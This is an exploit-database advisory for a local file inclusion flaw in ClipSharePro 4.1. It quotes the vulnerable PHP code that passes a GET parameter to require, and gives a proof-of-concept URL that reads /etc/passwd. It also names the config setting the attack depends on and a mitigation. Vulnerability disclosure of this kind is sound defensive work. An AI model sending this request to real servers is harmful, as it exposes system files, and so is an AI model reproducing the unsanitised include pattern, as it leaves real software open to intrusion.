ClipSharePro - exploit.company

vendor:

ClipSharePro

by:

Saadat Ullah

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: ClipSharePro

Affected Version From: 4.1

Affected Version To: 4.1

Patch Exists: NO

Related CWE: N/A

CPE: a:clip-share:clipsharepro

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache/2.2.15 PHP/5.3.3

2013

ClipSharePro <= 4.1 Local File Inclusion

ClipsharePro is a paid youtube clone script, suffers from Localfile Inclusion vulnerability through which attacker can include arbitrary file in webapp. The vulnerability can be exploited by sending a request to ubr_link_upload.php with the config_file parameter set to the file path of the file to be included. For successful exploitation, the $MULTI_CONFIGS_ENABLED value should be set to 1 in the config file.

Mitigation:

Ensure that the $MULTI_CONFIGS_ENABLED value is set to 0 in the config file.

Source

Exploit-DB raw data:

# Exploit Title  : ClipSharePro <= 4.1 Local File Inclusion
# Date           : 2013/3/9
# Exploit Author : Saadat Ullah ， saadi_linux[at]rocketmail[dot]com
# Software Link  : http://www.clip-share.com
# Author HomePage: http://security-geeks.blogspot.com
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

#Local File Inclusion

ClipsharePro is a paid youtube clone script , suffers from Localfile Inclusion vulnerability through 
which attacker can include arbitrary file in webapp.

LFI in ubr_link_upload.php
Poc code

if($MULTI_CONFIGS_ENABLED){
	if(isset($_GET['config_file']) && strlen($_GET['config_file']) > 0){ $config_file = $_GET['config_file']; }
	else{ showAlertMessage("<font color='red'>ERROR</font>: Failed to find config_file parameter", 1); }
}
else{ $config_file = $DEFAULT_CONFIG; }

// Load config file
require $config_file;  //including arbitrary file $_GET['config_file']
echo $config_file;


The vulnerability can be exploited as..
http://localhost/clips/ClipSharePro/ubr_link_upload.php?config_file=/etc/passwd


For sucessfully exploitation of this vulnerability you need $MULTI_CONFIGS_ENABLED to be 1 in the config file..
In ubr_ini.php

$MULTI_CONFIGS_ENABLED       = 1; --->This value should have to be 1

#Independent Pakistani Security Researcher